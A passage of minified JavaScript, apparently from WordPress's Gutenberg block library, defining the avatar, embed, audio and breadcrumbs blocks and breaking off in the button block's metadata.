avatar.",textdomain:"default",attributes:{userId:{type:"number"},size:{type:"number",default:96},isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},usesContext:["postType","postId","commentId"],supports:{anchor:!0,html:!1,align:!0,alignWide:!1,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__experimentalBorder:{__experimentalSkipSerialization:!0,radius:!0,width:!0,color:!0,style:!0,__experimentalDefaultControls:{radius:!0}},color:{text:!1,background:!1},filter:{duotone:!0},interactivity:{clientNavigation:!0}},selectors:{border:".wp-block-avatar img",filter:{duotone:".wp-block-avatar img"}},editorStyle:"wp-block-avatar-editor",style:"wp-block-avatar"};var kp=o(T(),1),bn=o(A(),1),Oi=o(I(),1),E_=o(nr(),1);var x1=o(Y(),1),Fu=o(I(),1),UV=o(z(),1);function GV(e){let t=e?e[0]:24,r=e?e[e.length-1]:96,a=Math.floor(r*2.5);return{minSize:t,maxSize:a}}function WV({commentId:e}){let[t]=(0,x1.useEntityProp)("root","comment","author_avatar_urls",e),[r]=(0,x1.useEntityProp)("root","comment","author_name",e),a=t?Object.values(t):null,n=t?Object.keys(t):null,{minSize:i,maxSize:l}=GV(n),s=b1();return{src:a?a[a.length-1]:s,minSize:i,maxSize:l,alt:r?(0,Fu.sprintf)((0,Fu.__)("%s Avatar"),r):(0,Fu.__)("Default Avatar")}}function $V({userId:e,postId:t,postType:r}){let{authorDetails:a}=(0,UV.useSelect)(u=>{let{getEditedEntityRecord:m,getUser:p}=u(x1.store);if(e)return{authorDetails:p(e)};let d=m("postType",r,t)?.author;return{authorDetails:d?p(d):null}},[r,t,e]),n=a?.avatar_urls?Object.values(a.avatar_urls):null,i=a?.avatar_urls?Object.keys(a.avatar_urls):null,{minSize:l,maxSize:s}=GV(i),c=b1();return{src:n?n[n.length-1]:c,minSize:l,maxSize:s,alt:a?(0,Fu.sprintf)((0,Fu.__)("%s Avatar"),a?.name):(0,Fu.__)("Default Avatar")}}var qB=o(I(),1),ZV=o(A(),1),KV=o(z(),1),QV=o(Y(),1),I_=o(j(),1),YV=o(ue(),1),XV=o(Ho(),1),JV=o(v(),1),che={who:"authors",per_page:100,_fields:"id,name",context:"view"};function eF({value:e,onChange:t}){let[r,a]=(0,I_.useState)(""),{authors:n,isLoading:i}=(0,KV.useSelect)(s=>{let{getUsers:c,isResolving:u}=s(QV.store),m={...che};return r&&(m.search=r,m.search_columns=["name"]),{authors:c(m),isLoading:u("getUsers",[m])}},[r]),l=(0,I_.useMemo)(()=>(n??[]).map(s=>({value:s.id,label:(0,XV.decodeEntities)(s.name)})),[n]);return(0,JV.jsx)(ZV.ComboboxControl,{__next40pxDefaultSize:!0,label:(0,qB.__)("User"),help:(0,qB.__)("Select the avatar user to display, if it is blank it will use the post/page author."),value:e,onChange:t,options:l,onFilterValueChange:(0,YV.debounce)(a,300),isLoading:i})}var zt=o(v(),1),tF=({setAttributes:e,avatar:t,attributes:r,selectUser:a})=>{let n=W();return(0,zt.jsx)(kp.InspectorControls,{children:(0,zt.jsxs)(bn.__experimentalToolsPanel,{label:(0,Oi.__)("Settings"),resetAll:()=>{e({size:96,isLink:!1,linkTarget:"_self",userId:void 0})},dropdownMenuProps:n,children:[(0,zt.jsx)(bn.__experimentalToolsPanelItem,{label:(0,Oi.__)("Image size"),isShownByDefault:!0,hasValue:()=>r?.size!==96,onDeselect:()=>e({size:96}),children:(0,zt.jsx)(bn.RangeControl,{__next40pxDefaultSize:!0,label:(0,Oi.__)("Image size"),onChange:i=>e({size:i}),min:t.minSize,max:t.maxSize,initialPosition:r?.size,value:r?.size})}),(0,zt.jsx)(bn.__experimentalToolsPanelItem,{label:(0,Oi.__)("Link to user profile"),isShownByDefault:!0,hasValue:()=>r?.isLink,onDeselect:()=>e({isLink:!1}),children:(0,zt.jsx)(bn.ToggleControl,{label:(0,Oi.__)("Link to user profile"),onChange:()=>e({isLink:!r.isLink}),checked:r.isLink})}),r.isLink&&(0,zt.jsx)(bn.__experimentalToolsPanelItem,{label:(0,Oi.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>r?.linkTarget!=="_self",onDeselect:()=>e({linkTarget:"_self"}),children:(0,zt.jsx)(bn.ToggleControl,{label:(0,Oi.__)("Open in new tab"),onChange:i=>e({linkTarget:i?"_blank":"_self"}),checked:r.linkTarget==="_blank"})}),a&&(0,zt.jsx)(bn.__experimentalToolsPanelItem,{label:(0,Oi.__)("User"),isShownByDefault:!0,hasValue:()=>!!r?.userId,onDeselect:()=>e({userId:void 0}),children:(0,zt.jsx)(eF,{value:r?.userId,onChange:i=>{e({userId:i})}})})]})})},uhe=({children:e,isLink:t})=>t?(0,zt.jsx)("a",{href:"#avatar-pseudo-link",className:"wp-block-avatar__link",onClick:r=>r.preventDefault(),children:e}):e,rF=({setAttributes:e,attributes:t,avatar:r,blockProps:a,isSelected:n})=>{let i=(0,kp.__experimentalUseBorderProps)(t),l=(0,E_.addQueryArgs)((0,E_.removeQueryArgs)(r?.src,["s"]),{s:t?.size*2});return(0,zt.jsx)("div",{...a,children:(0,zt.jsx)(uhe,{isLink:t.isLink,children:(0,zt.jsx)(bn.ResizableBox,{size:{width:t.size,height:t.size},showHandle:n,onResizeStop:(s,c,u,m)=>{e({size:parseInt(t.size+(m.height||m.width),10)})},lockAspectRatio:!0,enable:{top:!1,right:!(0,Oi.isRTL)(),bottom:!0,left:(0,Oi.isRTL)()},minWidth:r.minSize,maxWidth:r.maxSize,children:(0,zt.jsx)("img",{src:l,alt:r.alt,className:w("avatar","avatar-"+t.size,"photo","wp-block-avatar__image",i.className),style:i.style})})})})},mhe=({attributes:e,context:t,setAttributes:r,isSelected:a})=>{let{commentId:n}=t,i=(0,kp.useBlockProps)(),l=WV({commentId:n});return(0,zt.jsxs)(zt.Fragment,{children:[(0,zt.jsx)(tF,{avatar:l,setAttributes:r,attributes:e,selectUser:!1}),(0,zt.jsx)(rF,{attributes:e,avatar:l,blockProps:i,isSelected:a,setAttributes:r})]})},phe=({attributes:e,context:t,setAttributes:r,isSelected:a})=>{let{postId:n,postType:i}=t,l=$V({userId:e?.userId,postId:n,postType:i}),s=(0,kp.useBlockProps)();return(0,zt.jsxs)(zt.Fragment,{children:[(0,zt.jsx)(tF,{selectUser:!0,attributes:e,avatar:l,setAttributes:r}),(0,zt.jsx)(rF,{attributes:e,avatar:l,blockProps:s,isSelected:a,setAttributes:r})]})};function oF(e){return e?.context?.commentId||e?.context?.commentId===null?(0,zt.jsx)(mhe,{...e}):(0,zt.jsx)(phe,{...e})}var{name:aF}=B_,nF={icon:T0,edit:oF,example:{}},dhe=()=>N({name:aF,metadata:B_,settings:nF});var rI={};q(rI,{init:()=>She,metadata:()=>L_,name:()=>EF,settings:()=>M_});var tI=o(I(),1);var IF=o(U(),1);var KB=o(T(),1),_1=o(v(),1),iF=[{attributes:{src:{type:"string",source:"attribute",selector:"audio",attribute:"src"},caption:{type:"string",source:"html",selector:"figcaption"},id:{type:"number"},autoplay:{type:"boolean",source:"attribute",selector:"audio",attribute:"autoplay"},loop:{type:"boolean",source:"attribute",selector:"audio",attribute:"loop"},preload:{type:"string",source:"attribute",selector:"audio",attribute:"preload"}},supports:{align:!0},save({attributes:e}){let{autoplay:t,caption:r,loop:a,preload:n,src:i}=e;return(0,_1.jsxs)("figure",{children:[(0,_1.jsx)("audio",{controls:"controls",src:i,autoPlay:t,loop:a,preload:n}),!KB.RichText.isEmpty(r)&&(0,_1.jsx)(KB.RichText.Content,{tagName:"figcaption",value:r})]})}}];var xF=o(Tr(),1),ja=o(A(),1),yn=o(T(),1),Ha=o(I(),1),_F=o(z(),1);var kF=o(yr(),1),wF=o(j(),1);function Pf(e,t){var r=0,a,n;t=t||{};function i(){var l=a,s=arguments.length,c,u;e:for(;l;){if(l.args.length!==arguments.length){l=l.next;continue}for(u=0;u<s;u++)if(l.args[u]!==arguments[u]){l=l.next;continue e}return l!==a&&(l===n&&(n=l.prev),l.prev.next=l.next,l.next&&(l.next.prev=l.prev),l.next=a,l.prev=null,a.prev=l,a=l),l.val}for(c=new Array(s),u=0;u<s;u++)c[u]=arguments[u];return l={args:c,val:e.apply(null,c)},a?(a.prev=l,l.next=a):n=l,r===t.maxSize?(n=n.prev,n.next=null):r++,a=l,l.val}return i.clear=function(){a=null,n=null,r=0},i}var pF=o(A(),1),YB=o(j(),1),ws=o(U(),1);var ks={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/embed",title:"Embed",category:"embed",description:"Add a block that displays content pulled from other sites, like Twitter or YouTube.",textdomain:"default",attributes:{url:{type:"string",role:"content"},caption:{type:"rich-text",source:"rich-text",selector:"figcaption",role:"content"},type:{type:"string",role:"content"},providerNameSlug:{type:"string",role:"content"},allowResponsive:{type:"boolean",default:!0},responsive:{type:"boolean",default:!1,role:"content"},previewable:{type:"boolean",default:!0,role:"content"}},supports:{anchor:!0,align:!0,spacing:{margin:!0},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-embed-editor",style:"wp-block-embed"};var k1=[{ratio:"2.33",className:"wp-embed-aspect-21-9"},{ratio:"2.00",className:"wp-embed-aspect-18-9"},{ratio:"1.78",className:"wp-embed-aspect-16-9"},{ratio:"1.33",className:"wp-embed-aspect-4-3"},{ratio:"1.00",className:"wp-embed-aspect-1-1"},{ratio:"0.56",className:"wp-embed-aspect-9-16"},{ratio:"0.50",className:"wp-embed-aspect-1-2"}],QB="wp-embed";var uF=o(cF(),1),{lock:mF,unlock:Z}=(0,uF.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/block-library");var N_=o(v(),1),{name:Bf}=ks,{kebabCase:hhe}=Z(pF.privateApis),dF=e=>(0,ws.getBlockVariations)(Bf)?.find(({name:t})=>t===e),XB=(e,t=[])=>t.some(r=>e.match(r)),ghe=e=>(0,ws.getBlockVariations)(Bf)?.find(({patterns:t})=>XB(e,t)),fF=e=>e&&e.includes('class="wp-embedded-content"'),hF=e=>{let t=e.url||e.thumbnail_url,r=(0,N_.jsx)("p",{children:(0,N_.jsx)("img",{src:t,alt:e.title,width:"100%"})});return(0,YB.renderToString)(r)},Hu=(e,t={})=>{let{preview:r,attributes:a={}}=e,{url:n,providerNameSlug:i,type:l,...s}=a;if(!n||!(0,ws.getBlockType)(Bf))return;let c=ghe(n),u=i==="wordpress"||l===QB;if(!u&&c&&(c.attributes.providerNameSlug!==i||!i))return(0,ws.createBlock)(Bf,{url:n,...s,...c.attributes});let p=(0,ws.getBlockVariations)(Bf)?.find(({name:d})=>d==="wordpress");if(!(!p||!r||!fF(r.html)||u))return(0,ws.createBlock)(Bf,{url:n,...p.attributes,...t})},vhe=e=>e?k1.some(({className:t})=>e.includes(t)):!1,Ou=e=>{if(!e)return e;let t=k1.reduce((a,{className:n})=>(a.push(n),a),["wp-has-aspect-ratio"]),r=e;for(let a of t)r=r.replace(a,"");return r.trim()};function bhe(e){return/padding-(top|bottom)\s*:\s*[\d.]+%/i.test(e)}function JB(e,t,r=!0){if(!r||bhe(e))return Ou(t);let a=document.implementation.createHTMLDocument("");a.body.innerHTML=e;let n=a.body.querySelector("iframe");if(n&&n.height&&n.width){let i=(n.width/n.height).toFixed(2);for(let l=0;l<k1.length;l++){let s=k1[l];if(i>=s.ratio)return i-s.ratio>.1?Ou(t):w(Ou(t),s.className,"wp-has-aspect-ratio")}}return t}function gF(e,t){t((0,ws.createBlock)("core/paragraph",{content:(0,YB.renderToString)((0,N_.jsx)("a",{href:e,children:e}))}))}var yhe=Pf((e,t,r,a,n=!0)=>{if(!e)return{};let i={},{type:l="rich"}=e,{html:s,provider_name:c}=e,u=hhe((c||t).toLowerCase());return fF(s)&&(l=QB),(s||l==="photo")&&(i.type=l,i.providerNameSlug=u),vhe(r)||(i.className=JB(s,r,a&&n)),i}),vF=(e,t,r,a)=>{let{allowResponsive:n,className:i}=e;return{...e,...yhe(t,r,i,a,n)}};var wp=o(j(),1),bF=o(ue(),1),w1=o(I(),1),Bc=o(T(),1),yF=o(A(),1);var D_=o(U(),1),ju=o(v(),1);function ha({attributeKey:e="caption",attributes:t,setAttributes:r,isSelected:a,insertBlocksAfter:n,placeholder:i=(0,w1.__)("Add caption"),label:l=(0,w1.__)("Caption text"),showToolbarButton:s=!0,excludeElementClassName:c,className:u,readOnly:m,tagName:p="figcaption",addLabel:d=(0,w1.__)("Add caption"),removeLabel:f=(0,w1.__)("Remove caption"),icon:h=W7,...g}){let b=t[e],y=(0,bF.usePrevious)(b),_=Bc.RichText.isEmpty(b),x=Bc.RichText.isEmpty(y),[k,S]=(0,wp.useState)(!_);(0,wp.useEffect)(()=>{!_&&x&&S(!0)},[_,x]),(0,wp.useEffect)(()=>{!a&&_&&S(!1)},[a,_]);let C=(0,wp.useCallback)(E=>{E&&_&&E.focus()},[_]);return(0,ju.jsxs)(ju.Fragment,{children:[s&&(0,ju.jsx)(Bc.BlockControls,{group:"block",children:(0,ju.jsx)(yF.ToolbarButton,{onClick:()=>{S(!k),k&&b&&r({[e]:void 0})},icon:h,isPressed:k,label:k?f:d})}),k&&(!Bc.RichText.isEmpty(b)||a)&&(0,ju.jsx)(Bc.RichText,{identifier:e,tagName:p,className:w(u,c?"":(0,Bc.__experimentalGetElementClassName)("caption")),ref:C,"aria-label":l,placeholder:i,value:b,onChange:E=>r({[e]:E}),inlineToolbar:!0,__unstableOnSplitAtEnd:()=>n((0,D_.createBlock)((0,D_.getDefaultBlockName)())),readOnly:m,...g})]})}var xr=o(v(),1),eI=["audio"];function xhe({attributes:e,className:t,setAttributes:r,onReplace:a,isSelected:n,insertBlocksAfter:i}){let{id:l,autoplay:s,loop:c,preload:u,src:m}=e,[p,d]=(0,wF.useState)(e.blob),h=(0,yn.useBlockEditingMode)()==="default";xs({url:p,allowedTypes:eI,onChange:k,onError:_});function g(B){return D=>{r({[B]:D})}}function b(B){if(B!==m){let D=Hu({attributes:{url:B}});if(D!==void 0&&a){a(D);return}r({src:B,id:void 0,blob:void 0}),d()}}let{createErrorNotice:y}=(0,_F.useDispatch)(kF.store);function _(B){y(B,{type:"snackbar"})}function x(B){return B?(0,Ha.__)("Autoplay may cause usability issues for some users."):null}function k(B){if(!B||!B.url){r({src:void 0,id:void 0,caption:void 0,blob:void 0}),d();return}if((0,xF.isBlobURL)(B.url)){d(B.url);return}r({blob:void 0,src:B.url,id:B.id,caption:B.caption}),d()}let S=w(t,{"is-transient":!!p}),C=(0,yn.useBlockProps)({className:S}),E=W();return!m&&!p?(0,xr.jsx)("div",{...C,children:(0,xr.jsx)(yn.MediaPlaceholder,{icon:(0,xr.jsx)(yn.BlockIcon,{icon:Qn}),onSelect:k,onSelectURL:b,accept:"audio/*",allowedTypes:eI,value:e,onError:_})}):(0,xr.jsxs)(xr.Fragment,{children:[n&&(0,xr.jsx)(yn.BlockControls,{group:"other",children:(0,xr.jsx)(yn.MediaReplaceFlow,{mediaId:l,mediaURL:m,allowedTypes:eI,accept:"audio/*",onSelect:k,onSelectURL:b,onError:_,onReset:()=>k(void 0),variant:"toolbar"})}),(0,xr.jsx)(yn.InspectorControls,{children:(0,xr.jsxs)(ja.__experimentalToolsPanel,{label:(0,Ha.__)("Settings"),resetAll:()=>{r({autoplay:!1,loop:!1,preload:void 0})},dropdownMenuProps:E,children:[(0,xr.jsx)(ja.__experimentalToolsPanelItem,{label:(0,Ha.__)("Autoplay"),isShownByDefault:!0,hasValue:()=>!!s,onDeselect:()=>r({autoplay:!1}),children:(0,xr.jsx)(ja.ToggleControl,{label:(0,Ha.__)("Autoplay"),onChange:g("autoplay"),checked:!!s,help:x})}),(0,xr.jsx)(ja.__experimentalToolsPanelItem,{label:(0,Ha.__)("Loop"),isShownByDefault:!0,hasValue:()=>!!c,onDeselect:()=>r({loop:!1}),children:(0,xr.jsx)(ja.ToggleControl,{label:(0,Ha.__)("Loop"),onChange:g("loop"),checked:!!c})}),(0,xr.jsx)(ja.__experimentalToolsPanelItem,{label:(0,Ha.__)("Preload"),isShownByDefault:!0,hasValue:()=>!!u,onDeselect:()=>r({preload:void 0}),children:(0,xr.jsx)(ja.SelectControl,{__next40pxDefaultSize:!0,label:(0,Ha._x)("Preload","noun; Audio block parameter"),value:u||"",onChange:B=>r({preload:B||void 0}),options:[{value:"",label:(0,Ha.__)("Browser default")},{value:"auto",label:(0,Ha.__)("Auto")},{value:"metadata",label:(0,Ha.__)("Metadata")},{value:"none",label:(0,Ha._x)("None","Preload value")}]})})]})}),(0,xr.jsxs)("figure",{...C,children:[(0,xr.jsx)(ja.Disabled,{isDisabled:!n,children:(0,xr.jsx)("audio",{controls:"controls",src:m??p})}),!!p&&(0,xr.jsx)(ja.Spinner,{}),(0,xr.jsx)(ha,{attributes:e,setAttributes:r,isSelected:n,insertBlocksAfter:i,label:(0,Ha.__)("Audio caption text"),showToolbarButton:n&&h})]})]})}var CF=xhe;var L_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/audio",title:"Audio",category:"media",description:"Embed a simple audio player.",keywords:["music","sound","podcast","recording"],textdomain:"default",attributes:{blob:{type:"string",role:"local"},src:{type:"string",source:"attribute",selector:"audio",attribute:"src",role:"content"},caption:{type:"rich-text",source:"rich-text",selector:"figcaption",role:"content"},id:{type:"number",role:"content"},autoplay:{type:"boolean",source:"attribute",selector:"audio",attribute:"autoplay"},loop:{type:"boolean",source:"attribute",selector:"audio",attribute:"loop"},preload:{type:"string",source:"attribute",selector:"audio",attribute:"preload"}},supports:{anchor:!0,align:!0,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-audio-editor",style:"wp-block-audio"};var Cp=o(T(),1),C1=o(v(),1);function SF({attributes:e}){let{autoplay:t,caption:r,loop:a,preload:n,src:i}=e;return i&&(0,C1.jsxs)("figure",{...Cp.useBlockProps.save(),children:[(0,C1.jsx)("audio",{controls:"controls",src:i,autoPlay:t,loop:a,preload:n}),!Cp.RichText.isEmpty(r)&&(0,C1.jsx)(Cp.RichText.Content,{tagName:"figcaption",value:r,className:(0,Cp.__experimentalGetElementClassName)("caption")})]})}var TF=o(Tr(),1),PF=o(U(),1),khe={from:[{type:"files",isMatch(e){return e.length===1&&e[0].type.indexOf("audio/")===0},transform(e){let t=e[0];return(0,PF.createBlock)("core/audio",{blob:(0,TF.createBlobURL)(t)})}},{type:"shortcode",tag:"audio",attributes:{src:{type:"string",shortcode:({named:{src:e,mp3:t,m4a:r,ogg:a,wav:n,wma:i}})=>e||t||r||a||n||i},loop:{type:"string",shortcode:({named:{loop:e}})=>e},autoplay:{type:"string",shortcode:({named:{autoplay:e}})=>e},preload:{type:"string",shortcode:({named:{preload:e}})=>e}}}]},BF=khe;var{fieldsKey:whe,formKey:Che}=Z(IF.privateApis),{name:EF}=L_,M_={icon:Qn,example:{attributes:{src:"https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg"},viewportWidth:350},transforms:BF,deprecated:iF,edit:CF,save:SF};window.__experimentalContentOnlyInspectorFields&&(M_[whe]=[{id:"audio",label:(0,tI.__)("Audio"),type:"media",Edit:{control:"media",allowedTypes:["audio"],multiple:!1},getValue:({item:e})=>({id:e.id,url:e.src}),setValue:({value:e})=>({id:e.id,src:e.url})},{id:"caption",label:(0,tI.__)("Caption"),type:"text",Edit:"rich-text"}],M_[Che]={fields:["audio","caption"]});var She=()=>N({name:EF,metadata:L_,settings:M_});var oI={};q(oI,{init:()=>Phe,metadata:()=>A_,name:()=>AF,settings:()=>RF});var A_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/breadcrumbs",title:"Breadcrumbs",category:"theme",description:"Display a breadcrumb trail showing the path to the current page.",textdomain:"default",attributes:{prefersTaxonomy:{type:"boolean",default:!1},separator:{type:"string",default:"/"},showHomeItem:{type:"boolean",default:!0},showCurrentItem:{type:"boolean",default:!0},showOnHomePage:{type:"boolean",default:!1}},usesContext:["postId","postType","templateSlug"],supports:{anchor:!0,html:!1,align:["wide","full"],spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!1,color:!0,width:!0,style:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-breadcrumbs"};var Ar=o(I(),1),S1=o(T(),1),jo=o(A(),1),NF=o(z(),1),z_=o(Y(),1),Ic=o(j(),1),DF=o(Iu(),1),LF=o(ue(),1);var Ct=o(v(),1),R_="/";function MF({attributes:e,setAttributes:t,name:r,context:{postId:a,postType:n,templateSlug:i}}){let{separator:l,showHomeItem:s,showCurrentItem:c,prefersTaxonomy:u,showOnHomePage:m}=e,{post:p,isPostTypeHierarchical:d,postTypeHasTaxonomies:f,hasTermsAssigned:h,isLoading:g}=(0,NF.useSelect)(P=>{if(!n)return{};let H=P(z_.store).getEntityRecord("postType",n,a),$=P(z_.store).getPostType(n),V=$&&$.taxonomies.length,G;return V&&(G=P(z_.store).getTaxonomies({type:n,per_page:-1})),{post:H,isPostTypeHierarchical:$?.hierarchical,postTypeHasTaxonomies:V,hasTermsAssigned:H&&(G||[]).filter(({visibility:K})=>K?.publicly_queryable).some(K=>!!H[K.rest_base]?.length),isLoading:a&&!H||!$||V&&!G}},[n,a]),[b,y]=(0,Ic.useState)(0);(0,Ic.useEffect)(()=>{y(P=>P+1)},[p]);let _=W(),{content:x,status:k,error:S}=(0,DF.useServerSideRender)({attributes:e,skipBlockSupportAttributes:!0,block:r,urlQueryArgs:{post_id:a,invalidationKey:b}}),C=(0,Ic.useRef)("");(0,Ic.useEffect)(()=>{k==="success"&&(C.current=x)},[x,k]);let[E,B]=(0,Ic.useState)(!1);(0,Ic.useEffect)(()=>{if(k!=="loading")return;let P=setTimeout(()=>{B(!0)},400);return()=>{clearTimeout(P),B(!1)}},[k]);let D=(0,LF.useDisabled)(),M=(0,S1.useBlockProps)({ref:D});if(g)return(0,Ct.jsx)("div",{...M,children:(0,Ct.jsx)(jo.Spinner,{})});let O;!d&&!p?.parent?O=!0:f?O=u:O=!1;let R=null,F=!a||!n||i&&!n||!O&&!d||O&&!h;if(F){let P=[];s&&P.push((0,Ar.__)("Home")),i&&!a?P.push((0,Ar.__)("Page")):O?P.push((0,Ar.__)("Category")):P.push((0,Ar.__)("Ancestor"),(0,Ar.__)("Parent")),R=(0,Ct.jsx)("nav",{...M,style:{"--separator":`"${l.replace(/\\/g,"\\\\").replace(/"/g,'\\"')}"`,...M.style},children:(0,Ct.jsxs)("ol",{children:[P.map((H,$)=>(0,Ct.jsx)("li",{children:(0,Ct.jsx)("a",{href:`#breadcrumbs-pseudo-link-${$}`,children:H})},$)),c&&(0,Ct.jsx)("li",{children:(0,Ct.jsx)("span",{"aria-current":"page",children:(0,Ar.__)("Current")})})]})})}return(0,Ct.jsxs)(Ct.Fragment,{children:[(0,Ct.jsx)(S1.InspectorControls,{children:(0,Ct.jsxs)(jo.__experimentalToolsPanel,{label:(0,Ar.__)("Settings"),resetAll:()=>{t({separator:R_,showHomeItem:!0,showCurrentItem:!0})},dropdownMenuProps:_,children:[(0,Ct.jsx)(jo.__experimentalToolsPanelItem,{label:(0,Ar.__)("Show home breadcrumb"),isShownByDefault:!0,hasValue:()=>!s,onDeselect:()=>t({showHomeItem:!0}),children:(0,Ct.jsx)(jo.ToggleControl,{label:(0,Ar.__)("Show home breadcrumb"),onChange:P=>t({showHomeItem:P}),checked:s})}),(0,Ct.jsx)(jo.__experimentalToolsPanelItem,{label:(0,Ar.__)("Show current breadcrumb"),isShownByDefault:!0,hasValue:()=>!c,onDeselect:()=>t({showCurrentItem:!0}),children:(0,Ct.jsx)(jo.ToggleControl,{label:(0,Ar.__)("Show current breadcrumb"),onChange:P=>t({showCurrentItem:P}),checked:c})}),(0,Ct.jsx)(jo.__experimentalToolsPanelItem,{label:(0,Ar.__)("Separator"),isShownByDefault:!0,hasValue:()=>l!==R_,onDeselect:()=>t({separator:R_}),children:(0,Ct.jsx)(jo.TextControl,{__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Ar.__)("Separator"),value:l,onChange:P=>t({separator:P}),onBlur:()=>{l||t({separator:R_})}})})]})}),(0,Ct.jsxs)(S1.InspectorControls,{group:"advanced",children:[(0,Ct.jsx)(jo.CheckboxControl,{label:(0,Ar.__)("Show on homepage"),checked:m,onChange:P=>t({showOnHomePage:P}),help:(0,Ar.__)("If this breadcrumbs block appears in a template or template part that\u2019s shown on the homepage, enable this option to display the breadcrumb trail. Otherwise, this setting has no effect.")}),(0,Ct.jsx)(jo.CheckboxControl,{label:(0,Ar.__)("Prefer taxonomy terms"),checked:u,onChange:P=>t({prefersTaxonomy:P}),help:(0,Ar.__)("The exact type of breadcrumbs shown will vary automatically depending on the page in which this block is displayed. In the specific case of a hierarchical post type with taxonomies, the breadcrumbs can either reflect its post hierarchy (default) or the hierarchy of its assigned taxonomy terms.")})]}),k==="loading"&&!F&&(C.current?(0,Ct.jsx)(no,{wrapperProps:{...M,style:{...M.style,opacity:E?.3:1}},html:C.current}):(0,Ct.jsx)("div",{...M,children:(0,Ct.jsx)(jo.Spinner,{})})),k==="error"&&(0,Ct.jsx)("div",{...M,children:(0,Ct.jsx)("p",{children:(0,Ar.sprintf)((0,Ar.__)("Error: %s"),S)})}),F&&R,!F&&k==="success"&&(0,Ct.jsx)(no,{wrapperProps:M,html:x})]})}var{name:AF}=A_,RF={icon:V7,example:{},edit:MF},Phe=()=>N({name:AF,metadata:A_,settings:RF});var sI={};q(sI,{init:()=>Uhe,metadata:()=>H_,name:()=>YF,settings:()=>U_});var j_=o(I(),1);var QF=o(U(),1);var ce=o(T(),1),Tl=o(ue(),1);var zF=o(T(),1);var{cleanEmptyObject:Bhe}=Z(zF.privateApis);function jt(e){if(!e?.style?.typography?.fontFamily)return e;let{fontFamily:t,...r}=e.style.typography;return{...e,style:Bhe({...e.style,typography:r}),fontFamily:t.split("|").pop()}}function be(e){let{textAlign:t,...r}=e;return t?{...r,style:{...e.style,typography:{...e.style?.typography,textAlign:t}}}:e}var Vt=o(v(),1),Hi=e=>{let{width:t,...r}=e;return t?{...r,style:{...r.style,dimensions:{...r.style?.dimensions,width:`${t}%`}}}:r},If=e=>{let{borderRadius:t,...r}=e,a=[t,r.style?.border?.radius].find(n=>typeof n=="number"&&n!==0);return a?{...r,style:{...r.style,border:{...r.style?.border,radius:`${a}px`}}}:r};function Ihe(e){if(!e.align)return e;let{align:t,...r}=e;return{...r,className:w(r.className,`align${e.align}`)}}var nI=e=>{if(!e.customTextColor&&!e.customBackgroundColor&&!e.customGradient)return e;let t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor),e.customGradient&&(t.color.gradient=e.customGradient);let{customTextColor:r,customBackgroundColor:a,customGradient:n,...i}=e;return{...i,style:t}},aI=e=>{let{color:t,textColor:r,...a}={...e,customTextColor:e.textColor&&e.textColor[0]==="#"?e.textColor:void 0,customBackgroundColor:e.color&&e.color[0]==="#"?e.color:void 0};return nI(a)},Ec={url:{type:"string",source:"attribute",selector:"a",attribute:"href"},title:{type:"string",source:"attribute",selector:"a",attribute:"title"},text:{type:"string",source:"html",selector:"a"}},Ehe={attributes:{tagName:{type:"string",enum:["a","button"],default:"a"},type:{type:"string",default:"button"},url:{type:"string",source:"attribute",selector:"a",attribute:"href",role:"content"},title:{type:"string",source:"attribute",selector:"a,button",attribute:"title",role:"content"},text:{type:"rich-text",source:"rich-text",selector:"a,button",role:"content"},linkTarget:{type:"string",source:"attribute",selector:"a",attribute:"target",role:"content"},rel:{type:"string",source:"attribute",selector:"a",attribute:"rel",role:"content"},placeholder:{type:"string"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},width:{type:"number"}},supports:{anchor:!0,splitting:!0,align:!1,alignWide:!1,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{__experimentalSkipSerialization:["fontSize","lineHeight","textAlign","fontFamily","fontWeight","fontStyle","textTransform","textDecoration","letterSpacing"],fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},reusable:!1,shadow:{__experimentalSkipSerialization:!0},spacing:{__experimentalSkipSerialization:!0,padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},interactivity:{clientNavigation:!0}},selectors:{root:".wp-block-button 